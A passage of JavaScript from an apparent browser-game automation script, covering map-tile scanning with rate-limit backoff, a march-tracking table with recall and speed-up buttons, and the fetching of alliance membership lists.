				if (t.city_detail || t.wild_detail) {
					for (var map_type in to_refresh) {
						if ((to_refresh[map_type]).length > 0) {
							(to_refresh[map_type]).shuffle();
						}
					}
					Map.to_refresh = to_refresh;
					Map.is_refreshing = true;
					for (var map_type in Map.to_refresh) {
						t.total_tiles += ((Map.to_refresh[map_type]).length || 0);
					}
					t.getDetails();
				}
				t.callNext();
			},

			scanWilds: function(options, callback) {
				var t = Map;
				var m = Data.map;

				t.callback = callback;
				t.radius = (!options.radius || options.radius < 8) ? 8 : options.radius;
				var _x = options.x;
				var _y = options.y;
				if (isNaN(_x)) _x = t.x;
				if (isNaN(_y)) _y = t.y;
				t.steps = 1;
				t.step = 0;
				t.percent = toNum(t.step * 100 / t.steps);
				t.tile_count = 0;
				t.total_tiles = 0;
				t.old_percent = 0;
				t.tile_percent = toNum(t.tile_count * 100 / ((t.total_tiles == 0) ? 1 : t.total_tiles));
				t.options = options;

				var to_refresh = {
					forest: [],
					grassland: [],
					hill: [],
					lake: [],
					mountain: [],
					plain: [],
					City: []
				};

				for (var x = _x - t.radius; x < _x + t.radius; x++) {
					for (var y = _y - t.radius; y < _y + t.radius; y++) {
						var wild_x = t.normalize(x);
						var wild_y = t.normalize(y);
						var tile = t.map_bin.getUint8(wild_y + (wild_x * 750) + 2);
						var type = (tile >> 4) & 0x0f;
						var level = tile & 0x0f;
						if (tile) {
							var xy = wild_x + ',' + wild_y;
							var to_skip = (t.coords_to_avoid[xy]) ? true : false;
							if ((type > 0 && type < 7 && level >= 7 && !to_skip) &&
								((type == 1 && Data.options.search.plain) ||
									(type == 2 && Data.options.search.mountain) ||
									(type == 3 && Data.options.search.forest) ||
									(type == 4 && Data.options.search.hill) ||
									(type == 5 && Data.options.search.grassland) ||
									(type == 6 && Data.options.search.lake))) {
								var terrain_type = t.names.type[type];
								to_refresh[terrain_type].push({
									x: wild_x,
									y: wild_y
								});
							}
						}
					}
				}
				for (var map_type in to_refresh) {
					if ((to_refresh[map_type]).length > 0) {
						(to_refresh[map_type]).shuffle();
					}
				}
				Map.to_refresh = to_refresh;
				Map.is_refreshing = true;
				for (var map_type in Map.to_refresh) {
					t.total_tiles += ((Map.to_refresh[map_type]).length || 0);
				}
				t.getDetails();
				t.callNextWilds();
			},

			checkOurCoords: function() {
				var t = Map;
				if (Data.options.map.x != Seed.cities[CAPITAL.id].x || Data.options.map.y != Seed.cities[CAPITAL.id].y) {
					Data.options.map.x = Seed.cities[CAPITAL.id].x;
					Data.options.map.y = Seed.cities[CAPITAL.id].y;
				}
			},
			normalize: function(x) {
				if (x == 0) return 0;
				if (x > 749) return x - 750;
				if (x < 0) return x + 750;
				return x;
			},
			checkType: function(type) {
				var ret = type;
				if (type >= 0 && type <= 20) ret = type; /* Add 1 if new OP type */
				else ret = (Map.names.type[type] || type);
				return ret;
			},
			callNext: function() {
				var t = Map;
				if (t.is_refreshing) {
					setTimeout(t.callNext, 1000);
				} else {
					t.step = t.step + 1;
					t.percent = toNum(t.step * 100 / t.steps);
					progressBar.update({
						step: t.percent
					});
					if (t.forwards) {
						++t.step_x;
						if (t.step_x >= t.steps_x) {
							++t.step_y;
							t.forwards = false;
							--t.step_x;
						}
					} else {
						--t.step_x;
						if (t.step_x < 0) {
							++t.step_y;
							t.forwards = true;
							++t.step_x;
						}
					}

					if (t.step_y >= t.steps_y) {
						if (t.to_check.length > 0) {
							t.is_refreshing = true;
							t.tile_count = 0;
							t.total_tiles = t.to_check.length + 1;
							t.old_percent = 0;
							t.tile_percent = toNum(t.tile_count * 100 / ((t.total_tiles == 0) ? 1 : t.total_tiles));
							t.checkOldCities(function(ret) {
								Map.is_refreshing = false;
							});
							setTimeout(t.callNext, 1000);
						} else {
							if (t.callback) {
								t.callback({
									done: true,
									terrains: t.terrains
								});
								return;
							}
						}
					}
					t.callback({
						done: false
					});

					setTimeout(function() {
						var p = {};
						p = MyAjax.addMainParams();
						p['x'] = t.normalize(t.pos_x + (t.step_x * 8));
						p['y'] = t.normalize(t.pos_y + (t.step_y * 16));
						p['width'] = 8;
						p['height'] = 16;
						new MyAjaxRequest('map', 'map.json', p, t.gotMapCities, true);
					}, TILE_DELAY * Math.floor(Math.random() * (-1) + 2));
				}
			},
			callNextWilds: function() {
				var t = Map;
				if (t.is_refreshing) {
					setTimeout(t.callNextWilds, 1000);
				} else {
					if (t.callback) {
						t.callback({
							done: true,
							terrains: t.terrains
						});
						return;
					}
				}
			},
			checkOldCities: function(feedback) {
				var t = Map;
				if (t.to_check.length > 0) {
					var refresh_x = t.to_check[0].x;
					var refresh_y = t.to_check[0].y;
					Map.tileAt({
						x: refresh_x,
						y: refresh_y,
						force_request: true
					}, function(target) {
						if (target && target.ok) {
							t.to_check.splice(0, 1);
							t.tile_count++;
							t.tile_percent = Math.floor(t.tile_count * 100 / ((t.total_tiles == 0) ? 1 : t.total_tiles));
							t.percent = toNum(t.step * 100 / t.steps);
							t.percent = t.percent + (t.tile_percent / t.steps);
							if (t.percent != t.old_percent) {
								progressBar.update({
									step: t.percent,
									stepText: translate('Please wait...') + '<br>' + translate('Step') + ' ' + (t.step + 1) + '/' + t.steps + ' : ' + translate('Got') + ' ' + t.tile_count + '/' + t.total_tiles + ' (' + translate('Checking old city coords') + ')'
								});
								t.old_percent = t.percent;
							}
							setTimeout(t.checkOldCities, TILE_DELAY * Math.floor(Math.random() * (-1) + 2));
						} else {
							verboseLog('Map tileAt ' + translate('was returned with a status of') + ' ' + target.ok + ' - ' + target.errmsg);
							var error_msg = target.errmsg;
							var waitTime = 600;
							switch (target.status) {
								case 400:
									error_msg = translate('<b>Bad request!</b>');
									waitTime = 0;
									break;
								case 403:
									error_msg = translate('<b>Forbidden!</b>');
									waitTime = 0;
									break;
								case 429:
									error_msg = '<b>API </b>' + translate('<b>Rate Limit Exceeded</b>, too many requests!');
									waitTime = E429_DELAY;
									break;
								case 509:
									error_msg = translate('<b>Rate Limit Exceeded</b>, too many requests!');
									waitTime = 300;
									break;
							}
							if (waitTime > 0) {
								progressBar.update({
									stepText: error_msg + ' - ' + translate('Retry in') + ' ' + waitTime
								});
								setTimeout(t.checkOldCities, waitTime * 1000);
							} else {
								progressBar.update({
									stepText: error_msg
								});
								t.to_check.splice(0, 1);
								setTimeout(t.checkOldCities, TILE_DELAY * Math.floor(Math.random() * (-1) + 2));
							}
						}
					});
				}
				if (t.to_check.length == 0) Map.is_refreshing = false;
				if (feedback && t.to_check.length == 0) feedback({
					done: true
				});
			},
			getDetails: function() {
				var t = Map;
				for (var map_type in t.to_refresh) {
					if ((t.to_refresh[map_type]).length > 0) {
						var refresh_x = (t.to_refresh[map_type])[0].x;
						var refresh_y = (t.to_refresh[map_type])[0].y;
						var refresh_type = map_type;
						Map.tileAt({
							x: refresh_x,
							y: refresh_y
						}, function(target) {
							if (target && target.ok) {
								(t.to_refresh[refresh_type]).splice(0, 1);
								t.tile_count++;
								t.tile_percent = Math.floor(t.tile_count * 100 / ((t.total_tiles == 0) ? 1 : t.total_tiles));
								t.percent = toNum(t.step * 100 / t.steps);
								/*logit('getDetails : tile_count='+t.tile_count+', tile_percent = toNum( '+t.tile_count+' * 100 / '+t.total_tiles+') = '+t.tile_percent+', t.percent = '+t.percent+' + ('+t.tile_percent+' / '+t.steps+')');*/
								t.percent = t.percent + (t.tile_percent / t.steps);
								if (t.percent != t.old_percent) {
									progressBar.update({
										step: t.percent,
										stepText: translate('Please wait...') + '<br>' + translate('Step') + ' ' + (t.step + 1) + '/' + t.steps + ' : ' + translate('Got') + ' ' + t.tile_count + '/' + t.total_tiles + ' (' + translate(refresh_type) + ')'
									});
									t.old_percent = t.percent;
								}
								setTimeout(t.getDetails, TILE_DELAY * Math.floor(Math.random() * (-1) + 2));
							} else {
								verboseLog('Map tileAt ' + translate('was returned with a status of') + ' ' + target.ok + ' - ' + target.errmsg);
								var error_msg = target.errmsg;
								var waitTime = 600;
								switch (target.status) {
									case 400:
										error_msg = translate('<b>Bad request!</b>');
										waitTime = 0;
										break;
									case 403:
										error_msg = translate('<b>Forbidden!</b>');
										waitTime = 0;
										break;
									case 429:
										error_msg = '<b>API </b>' + translate('<b>Rate Limit Exceeded</b>, too many requests!');
										waitTime = E429_DELAY;
										break;
									case 509:
										error_msg = translate('<b>Rate Limit Exceeded</b>, too many requests!');
										waitTime = 300;
										break;
								}
								if (waitTime > 0) {
									progressBar.update({
										stepText: error_msg + ' - ' + translate('Retry in') + ' ' + waitTime
									});
									setTimeout(t.getDetails, waitTime * 1000);
								} else {
									progressBar.update({
										stepText: error_msg
									});
									(t.to_refresh[refresh_type]).splice(0, 1);
									setTimeout(t.getDetails, TILE_DELAY * Math.floor(Math.random() * (-1) + 2));
								}
							}
						});
						break;
					}
				}
				var done = true;
				for (var map_type in t.to_refresh) {
					if ((t.to_refresh[map_type]).length > 0) done = false;
				}
				if (done) Map.is_refreshing = false;
			}
		};
		/******************************** Map package ********************************/

		/******************************** March package ******************************/
		var Marches = {
			table_output: {
				attacks: {},
				bookmark: {},
				waves: {},
				spies: {},
				transport: {},
				multiple: {}
			},
			count: {
				attacks: 0,
				bookmark: 0,
				waves: 0,
				spies: 0,
				transport: 0,
				multiple: 0
			},

			init: function() {
				var t = Marches;
				Data.init({
					marches: {
						start_at: 0,
						attacks: {},
						bookmark: {},
						waves: {},
						spies: {},
						transport: {},
						multiple: {},
						count_limit: 1,
						ressources: {}
					}
				});
			},

			add: function(march, type) {
				var t = Marches;
				if (is_null(type)) {
					if (Data.marches.attacks[march.id] === undefined &&
						Data.marches.bookmark[march.id] === undefined &&
						Data.marches.waves[march.id] === undefined &&
						Data.marches.spies[march.id] === undefined &&
						Data.marches.transport[march.id] === undefined &&
						Data.marches.multiple[march.id] === undefined
					) {
						if (!is_null(march.ownerId)) type = march.ownerId;
						else {
							switch (march.march_type) {
								case 'TransportMarch':
									type = 'transport';
									break;
								default:
									type = 'attacks';
									break;
							}
						}
					}
				}
				(Data.marches[type])[march.id] = cloneProps(march);
				(Data.marches[type])[march.id].has_report = ((type == 'transport') ? true : false);
				/*t.trace('Marches.add', march.id);*/
			},
			remove: function(march_id, type) {
				var t = Marches;
				if (march_id)
					if (is_null(type)) {
						for (var type in Data.marches) {
							if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
							if ((Data.marches[type])[march_id]) {
								/*t.trace('Marches.remove', march_id);*/
								delete((Data.marches[type])[march_id]);
							}
							if (Data.marches.ressources[march_id]) delete(Data.marches.ressources[march_id]);
						}
					} else {
						/*t.trace('Marches.remove', march_id);*/
						delete((Data.marches[type])[march_id]);
					}
			},
			update: function(march) {
				var t = Marches;
				var found = false;
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
					var m = (Data.marches[type])[march.id];
					if (m) {
						m.mergeWith(march);
						if (is_null(m.real_run_at) && m.run_at && m.duration && m.status == 'marching') m.real_run_at = m.run_at + toNum(m.duration);
						/*t.trace('Marches.update', march.id);*/
					}
				}
			},
			find: function(march_id) {
				var t = Marches;
				var found = false;
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
					for (var id in Data.marches[type]) {
						var march = Data.marches[type][id];
						if (march.id == march_id) {
							found = true;
							return (march);
						}
					}
				}
				if (!found) return null;
			},
			purge: function() {
				var t = Marches,
					now = toNum(serverTime());
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
					for (var id in Data.marches[type]) {
						var march = (Data.marches[type])[id];
						if (march && !t.findInSeed(id) && ((march.real_run_at && now > march.real_run_at) || !march.realrun_at)) t.remove(id, type);
					}
				}
			},
			findInSeed: function(march_id) {
				var found = false;
				for (var marchId in Seed.cities[CAPITAL.id].marches) {
					var march = Seed.cities[CAPITAL.id].marches[marchId];
					if (march.id == march_id) {
						found = true;
					}
				}
				return (found);
			},

			checkTimer: null,
			check: function() {
				var t = Marches;
				var now = toNum(serverTime());
				clearTimeout(t.checkTimer);
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) {
						continue;
					}
					var marches = Data.marches[type];
					for (var id in marches) {
						if (marches[id].run_at < (now - 60) && !(marches[id].has_report)) {
							/* Will force at least 5 minute wait for the report to come in before it gives up on it. (fixed by Lord Mimir) */
							if (marches[id].retry && marches[id].run_at < (now - 300)) {
								++Data.options.messages.missing;
								if (DEBUG_MARCHES) debugLog('March report never received! (now=' + now + ')\n' + inspectObj(marches[id], 6, 1));
								marches[id].has_report = true;
							} else {
								marches[id].retry = true;
								Messages.checkMessages({
									category: 'reports'
								});
							}
						}
					}
				}
				t.checkTimer = setTimeout(t.check, Math.randRange(30000, 70000));
			},
			updateCounters: function() {
				var t = Marches;
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
					(Marches.count[type]) = 0;
					for (var id in Data.marches[type]) {
						(Marches.count[type])++;
					}
				}
			},

			trace: function(caller, march_id) {
				var ret = [];
				var t = Marches;
				for (var type in Data.marches) {
					if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
					for (var id in Data.marches[type]) {
						var march = (Data.marches[type])[id];
						if (march.status == 'encamped') continue;
						if (march_id) {
							if (march_id == id)
								ret.push({
									march: 'id=' + id + ', ownerId=' + (march.ownerId ? march.ownerId : '') + ', job_id=' + (march.job_id ? march.job_id : '') + ', status=' + march.status + ', inSeed=' + t.findInSeed(march.id) + ', has_report=' + (march.has_report ? march.has_report : ''),
									times: 'now=' + timestrh(toNum(serverTime())) + ', run_at=' + (march.run_at ? timestrh(march.run_at) : '') + ', duration=' + (march.duration ? march.duration : '') + ', real_run_at=' + (march.real_run_at ? timestrh(march.real_run_at) : '')
								});
						} else
							ret.push({
								march: 'id=' + id + ', ownerId=' + (march.ownerId ? march.ownerId : '') + ', job_id=' + (march.job_id ? march.job_id : '') + ', status=' + march.status + ', inSeed=' + t.findInSeed(march.id) + ', has_report=' + (march.has_report ? march.has_report : ''),
								times: 'now=' + timestrh(toNum(serverTime())) + ', run_at=' + (march.run_at ? timestrh(march.run_at) : '') + ', duration=' + (march.duration ? march.duration : '') + ', real_run_at=' + (march.real_run_at ? timestrh(march.real_run_at) : '')
							});
					}
				}
				if (ret && ret.length > 0) logit(caller + ' : ' + inspectObj(ret, 8, 1));
			},

			updateTable: function(table, type) {
				var t = Marches;
				var now = toNum(serverTime());

				if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) return;
				/* shortcut for current table_output */
				var table_output = t.table_output[type];
				/* Clear table of old data  (by Lord Mimir) */
				var cleared = 0;
				for (var row = 0; row < table.rows.length; row++) {
					var id = table.rows[row].getAttribute('ref');
					var march = (Data.marches[type])[id];
					if (!march || (!t.findInSeed(id) && ((march.real_run_at && now > march.real_run_at) || !march.realrun_at))) {
						cleared++;
						table.deleteRow(row);
						delete table_output[id];
						row--;
						if (march) t.remove(id, type);
						continue;
					} else if (cleared > 0) table_output[id].row -= cleared;
				}
				(t.count[type]) = 0;
				for (var id in Data.marches[type]) {
					if (t.findInSeed(id))(t.count[type])++;
				}
				Marches.updateCounters(type);

				/*	NOTE: We use a dual system, the first one to create the rows and
			the another to update it. We do it in this way because we don't want 
			to lose the event listeners of the buttons. */
				for (var id in Data.marches[type]) {
					var iRow, iCell;
					var march = (Data.marches[type])[id];
					var retreating = (march.status === 'retreating');
					var time_left = march.run_at - now;
					if (!time_left || time_left < 0) time_left = (march.real_run_at ? march.real_run_at : march.run_at) - now;
					var time_format;
					if (time_left < 0 && march.status !== 'encamped') {
						time_format = '...';
					} else if (isNaN(time_left) || (time_left < 0 && march.status === 'encamped')) {
						time_format = '---';
					} else {
						time_format = timestr(time_left, true);
					}

					var units = '';
					for (var unit_type in march.units)
						units += ' ' + translate(unit_type) + ': ' + numf(march.units[unit_type], ' ') + ' +';
					units = units.substr(1, units.length - 2);

					var ressources = '';
					if (Data.marches.ressources[id]) {
						ressources = ' +' + translate('Resources') + ': +';
						for (var r in Data.marches.ressources[id]) {
							if (Data.marches.ressources[id][r] > 0)
								ressources += ' ' + translate(r) + ': ' + numf(Data.marches.ressources[id][r], ' ') + ' +';
						}
						ressources = ressources.substr(1, ressources.length - 2);
					}

					/* Inserting Row */
					if (table_output[id] === undefined && (time_left || march.status === 'encamped' || (!time_left && (march.real_run_at - now) > 0))) {
						/* Insert a new row */
						iRow = table.insertRow(0); /*iRow = table.insertRow(-1); */
						/* associates the current row number to the id of the march */
						table_output[id] = {}; /*table_output[id] = {row:table.rows.length-1};*/
						iRow.setAttribute('ref', id);
						iRow.title = [
							'(' + (march.general && march.general.name ? march.general.name : '----') + ')', march.target_name, march.terrain_level, '[' + march.x + '/' + march.y + ']\n', units.replace(/\+/g, '\n'), ressources.replace(/\+/g, '\n')
						].join(' ');
						/* Retreating case */
						if (retreating) {
							table_output[id].row_status = 2; /* Retreating mode */
							/* march Status */
							iCell = iRow.insertCell(-1);
							iCell.innerHTML = '<b>' + translate('Returning') + ':</b>';
							/* march Target */
							iCell = iRow.insertCell(-1);
							iCell.className = 'wrap';
							iCell.innerHTML = march.target_name.nowrap();
							/* march Coords */
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'right';
							iCell.innerHTML = '&nbsp;<b>&lt;</b>&nbsp;';
							/* march time_left */
							iCell = iRow.insertCell(-1);
							iCell.innerHTML = time_format;
							/* march Recall Button */
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'right';
							iCell.innerHTML = '&nbsp;';
							/* Speedups buttons */
							for (var i = 0; i < time_item_list.length; i++) {
								if (time_item_list[i].type.indexOf('M') >= 0 &&
									toNum(Seed.player.items[time_item_list[i].name]) > 0) {
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'right';
									iCell.innerHTML = '&nbsp;';
									t.addSpeedUpButton(i, iCell, iRow.cells[3], id);
								}
							}
						}

						/* Marching case */
						else {
							table_output[id].row_status = 1; /* Marching mode */
							/* march Status */
							iCell = iRow.insertCell(-1);
							switch (march.march_type) {
								case 'TransportMarch':
									iCell.innerHTML = '<b>' + (RecallMarch.exists(id) ? translate('Yoyo') : translate('Transport')).capitalize() + ':</b>';
									break;
								case 'SpyMarch':
									iCell.innerHTML = '<b>' + translate('Spy').capitalize() + ':</b>';
									break;
								default:
									iCell.innerHTML = '<b>' + translate(march.status).capitalize() + ':</b>';
									break;
							}
							/* march Target */
							iCell = iRow.insertCell(-1);
							iCell.className = 'wrap';
							iCell.innerHTML = march.target_name.nowrap() + '&nbsp;' + march.terrain_level + '&nbsp;';
							/* march Coords */
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'right';
							iCell.innerHTML = '<span class=jewel> [' + march.x + '/' + march.y + ']</span>&nbsp;<b>&gt;</b>&nbsp;';
							/* march time_left */
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'right';
							iCell.innerHTML = time_format;
							/* march Recall Button */
							iCell = iRow.insertCell(-1);

							var button = document.createElement('input');
							button.type = 'button';
							/* Save the current March id in the attibute "ref" of the button */
							button.setAttribute('ref', id);
							if (march.status === 'encamped') {
								button.className = 'thin';
								button.value = 'X';
							} else {
								button.className = UID['btn_red'] + ' thin';
								button.value = 'X';
							}
							button.addEventListener('click', function(event) {
								var self = event.target;
								self.disabled = true;
								self.style.display = 'none';
								/* Take the march id from the "ref" attribute */
								var march_id = self.getAttribute('ref');
								/* Verify that the march really exists in Data.marches */
								if ((Data.marches[type])[march_id]) {
									var city_id = (Data.marches[type])[march_id].city_id;
									MyAjax.marchRecall(city_id, march_id, function(r) {
										if (r.ok && r.dat.result.success) {
											(Data.marches[type])[march_id].status = 'retreating';
										}
									});
								}
							}, false);
							iCell.appendChild(button);
							/* Speedups buttons */
							for (var i = 0; i < time_item_list.length; i++) {
								if (time_item_list[i].type.indexOf('M') >= 0 &&
									toNum(Seed.player.items[time_item_list[i].name]) > 0) {
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'right';
									iCell.innerHTML = '&nbsp;';
									if (march.status != 'encamped') t.addSpeedUpButton(i, iCell, iRow.cells[3], id);
								}
							}
						}
					}

					/* Upgrade Row */
					else {
						if (table_output[id] === undefined) continue;
						/*iRow = table.rows[ table_output[id].row ];*/
						for (var row = 0; row < table.rows.length; row++) {
							if (table.rows[row].getAttribute('ref') == id) {
								iRow = table.rows[row];
								break;
							}
						}
						if (iRow === undefined) {
							delete table_output[id];
							continue;
						}
						/* Row Status cases */
						switch (table_output[id].row_status) {
							/* Finish state */
							case 0:
								if (retreating && time_left > 0) { /* added a check to prevent hidding of marches before they finish retreating. */
									table_output[id].row_status = 2;
									/* march Recall Button */
									iRow.cells[4].innerHTML = '';
									/* Speedups buttons */
									var ofs = 0;
									for (var i = 0; i < time_item_list.length; i++) {
										if (time_item_list[i].type.indexOf('M') >= 0) {
											iRow.cells[(5 + ofs)].innerHTML = '';
											ofs++;
										}
									}
									continue;
								}
								iRow.style.display = 'none';
								table_output[id].row_status = -1;
								continue;
								break;
								/* Marching state (Waiting for retreating) */
							case 1:
							case 2:
								if (retreating) {
									table_output[id].row_status = 3; /* Change to retreating state */
									/* march Status */
									var html_status = '';
									html_status += '<b>' + translate('Returning') + ':</b>';
									iRow.cells[0].innerHTML = html_status;
									/* march Target */
									iRow.cells[1].innerHTML = march.target_name.nowrap();
									/* march Coords */
									iRow.cells[2].innerHTML = '&nbsp;<b>&lt;</b>&nbsp;';
									/* march Recall Button */
									iRow.cells[4].innerHTML = '';
									var ofs = 0;
									for (var i = 0; i < time_item_list.length; i++) {
										if (time_item_list[i].type.indexOf('M') >= 0 &&
											toNum(Seed.player.items[time_item_list[i].name]) > 0) {
											iRow.cells[(5 + ofs)].innerHTML = '';
											t.addSpeedUpButton(i, iRow.cells[(5 + ofs)], iRow.cells[3], id);
											ofs++;
										}
									}
								} else if ((isNaN(time_left) || time_left < 0) && (table_output[id].row_status === 1 || table_output[id].row_status === 2)) {
									if (march.terrain_type && !(/(Anthropus|City|Outpost|Bog)/.test(march.terrain_type))) {
										if (march.status === 'marching') {
											table_output[id].row_status = 2; /* Change to Waiting for retreating (Action Taken) */
										} else if (march.status === 'encamped') {
											table_output[id].row_status = 4; /* Change to encamped */
											var html_status = '';
											html_status += '<b>' + translate(march.status).capitalize() + ':</b>';
											iRow.cells[0].innerHTML = html_status;
											/* Change button to show recall */
											/* first clear old button. */
											iRow.cells[4].innerHTML = '';
											/* now create button */
											var button = document.createElement('input');
											button.type = 'button';
											/* Save the current March id in the attibute "ref" of the button */
											button.setAttribute('ref', id);
											button.className = 'thin';
											button.value = 'X';
											button.addEventListener('click', function(event) {
												var self = event.target;
												self.disabled = true;
												self.style.display = 'none';
												/* Take the march id from the "ref" attribute */
												var march_id = self.getAttribute('ref');
												/* Verify that the march really exists in Data.marches */
												if ((Data.marches[type])[march_id]) {
													var city_id = (Data.marches[type])[march_id].city_id;
													MyAjax.marchRecall(city_id, march_id, function(r) {
														if (r.ok && r.dat.result.success) {
															(Data.marches[type])[march_id].status = 'retreating';
														}
													});
												}
											}, false);
											iRow.cells[4].appendChild(button);
											var ofs = 0;
											for (var i = 0; i < time_item_list.length; i++) {
												if (time_item_list[i].type.indexOf('M') >= 0) {
													if (iRow.cells[(5 + ofs)])
														iRow.cells[(5 + ofs)].innerHTML = '';
													ofs++;
												}
											}
										}
									}
								}
								break;
								/* retreating state (Waiting for finish) */
							case 3:
								if (isNaN(time_left) || time_left < 0) {
									table_output[id].row_status = 0; /* Change to Finish state */
								}
								break;
								/* units encamped; */
							case 4:
								if (retreating) {
									table_output[id].row_status = 3; /* Change to retreating state */
									/* march Status */
									iRow.cells[0].innerHTML = '<b>' + translate('Retreating') + ':</b>';
									/* march Target */
									iRow.cells[1].innerHTML = march.target_name.nowrap();
									/* march Coords */
									iRow.cells[2].innerHTML = '&nbsp;<b>&lt;</b>&nbsp;';
									/* march Recall Button */
									iRow.cells[4].innerHTML = '';
									var ofs = 0;
									for (var i = 0; i < time_item_list.length; i++) {
										if (time_item_list[i].type.indexOf('M') >= 0 &&
											toNum(Seed.player.items[time_item_list[i].name]) > 0) {

											iRow.cells[(5 + ofs)].innerHTML = '';
											t.addSpeedUpButton(i, iRow.cells[(5 + ofs)], iRow.cells[3], id);
											ofs++;
										}
									}
								}
								break;
						}
						/* march time_left */
						iRow.cells[3].innerHTML = time_format;
					}
				}
			},
			addSpeedUpButton: function(itemId, nCell, nTimeCell, marchId) {
				if (!Data.options.speedups_enabled) return;
				var t = Marches;
				nCell.innerHTML = '';
				var num = toNum(Seed.player.items[time_item_list[itemId].name]);
				var button = document.createElement('input');
				button.type = 'button';
				/* Save the current March id in the attibute "ref" of the button */
				button.setAttribute('ref', time_item_list[itemId].name + '_' + marchId);
				button.value = time_item_list[itemId].text;
				if (num > 0) {
					button.disabled = false;
					button.className = UID['btn_green'] + ' thin';
					button.addEventListener('click', function(event) {
						var self = event.target;
						/* Take the march id from the "ref" attribute */
						var ids = self.getAttribute('ref').split('_');
						/* Verify that the march really exists in Data.marches */
						var march = Marches.find(ids[1]);
						if (march != null) {
							var city_id = march.city_id;

							if (time_item_list[itemId].confirmation && Data.options.use_speedup_confirmation) {

								dialogConfirm(translate('Do you want to use [0] on this march').replace('[0]', translate(time_item_list[itemId].name)) + ' ?',
									function() {
										self.disabled = true;
										self.className = UID['btn_disabled'] + ' thin';
										MyAjax.useItem(city_id, ids[0], march.job_id, function(r) {
											if (r.ok && r.dat.result.success) {
												if (r.dat.result.item_response) {
													itmResp = r.dat.result.item_response;
													marchResp = Marches.find(itmResp.march_id);

													var job = cloneProps(itmResp);
													delete(job.type);
													Seed.checkAddJob(job);

													if (itmResp.queue == 'march' && marchResp) {
														marchResp.run_at = itmResp.run_at;
														marchResp.duration = itmResp.duration;
														var time_left = marchResp.run_at - toNum(serverTime());
														var time_format;
														if (time_left < 0) {
															time_format = '...';
														} else if (isNaN(time_left)) {
															time_format = '---';
														} else {
															time_format = timestr(time_left, true);
														}
														nTimeCell.innerHTML = time_format;
													}
												}
												var num = toNum(Seed.player.items[ids[0]]);
												if (num > 0) {
													button.disabled = false;
													button.className = UID['btn_green'] + ' thin';
												}
											}
										});

									},
									function() {}, true
								);

							} else {
								self.disabled = true;
								self.className = UID['btn_disabled'] + ' thin';

								MyAjax.useItem(city_id, ids[0], march.job_id, function(r) {
									if (r.ok && r.dat.result.success) {
										if (r.dat.result.item_response) {

											itmResp = r.dat.result.item_response;
											marchResp = Marches.find(itmResp.march_id);

											var job = cloneProps(itmResp);
											delete(job.type);
											Seed.checkAddJob(job);

											if (itmResp.queue == 'march' && marchResp) {
												marchResp.run_at = itmResp.run_at;
												marchResp.duration = itmResp.duration;
												var time_left = marchResp.run_at - toNum(serverTime());
												var time_format;
												if (time_left < 0) {
													time_format = '...';
												} else if (isNaN(time_left)) {
													time_format = '---';
												} else {
													time_format = timestr(time_left, true);
												}
												nTimeCell.innerHTML = time_format;
											}
										}
										var num = toNum(Seed.player.items[ids[0]]);
										if (num > 0) {
											button.disabled = false;
											button.className = UID['btn_green'] + ' thin';
										}
									}
								});
							}

						}
					}, false);
				} else {
					button.disabled = true;
					button.className = UID['btn_disabled'] + ' thin';
				}
				nCell.appendChild(button);
			}
		};
		/******************************** March package ******************************/

		/******************************** MemberShips package ************************/
		var MemberShips = {
			fetchMembership: function(id, callback, doDetail) {
				var t = MemberShips;
				t.callback = callback;
				t.doDetail = doDetail;
				if (id) {
					var p = {};
					p = MyAjax.addMainParams();
					p['count'] = 120;
					p['approved'] = 1;
					var jsonType = 'alliances/' + id + '/memberships';
					new MyAjaxRequest('membership', jsonType, p, t.updateMemberships, false);
				}
			},
			updateMemberships: function(rslt) {
				var t = MemberShips;
				if (!rslt.ok) {
					t.callback(rslt);
					return;
				}
				var memberList = rslt.dat.alliance_memberships;
				var ret = {
					member: []
				};
				for (var m = 0; m < memberList.length; m++) {
					var d = {
						player: memberList[m].player.name,
						id: memberList[m].player.id,
						role: memberList[m].role,
						might: memberList[m].player.might,
						joined: memberList[m].created_at_i * 1000,
						city: memberList[m].player.city.name,
						x: memberList[m].player.city.x,
						y: memberList[m].player.city.y,
						dragon: memberList[m].player.city.dragon_slots,
						req_id: memberList[m].id,
						dist: getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, memberList[m].player.city.x, memberList[m].player.city.y)
					};
					ret.member.push(d);
				}
				ret.done = true;
				t.callback(ret);
				return;
			},
			fetchApplicants: function(id, callback, doDetail) {
				var t = MemberShips;
				t.callback = callback;
				t.doDetail = doDetail;
				if (id) {
					var p = {};
					p = MyAjax.addMainParams();
					p['page'] = 1;
					p['count'] = 30;
					p['approved'] = 0;
					p['sort'] = 'might';
					var jsonType = 'alliances/' + id + '/memberships';
					new MyAjaxRequest('membership', jsonType, p, t.updateApplicants, false);
				}
			},
			updateApplicants: function(rslt) {
				var t = MemberShips;
				if (!rslt.ok) {
					t.callback(rslt);
					return;
				}
				var memberList = rslt.dat.alliance_memberships;
				var ret = {
					member: []
				};
				for (var m = 0; m < memberList.length; m++) {
					var d = {
						player: memberList[m].player.name,
						id: memberList[m].player.id,
						role: 'applicant',
						might: memberList[m].player.might,
						joined: memberList[m].created_at_i * 1000,
						city: memberList[m].player.city.name,
						x: memberList[m].player.city.x,
						y: memberList[m].player.city.y,
						dragon: memberList[m].player.city.dragon_slots,
						req_id: memberList[m].id,
						dist: getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, memberList[m].player.city.x, memberList[m].player.city.y)
					};
					ret.member.push(d);
				}
				ret.done = true;
				t.callback(ret);
				return;
			},
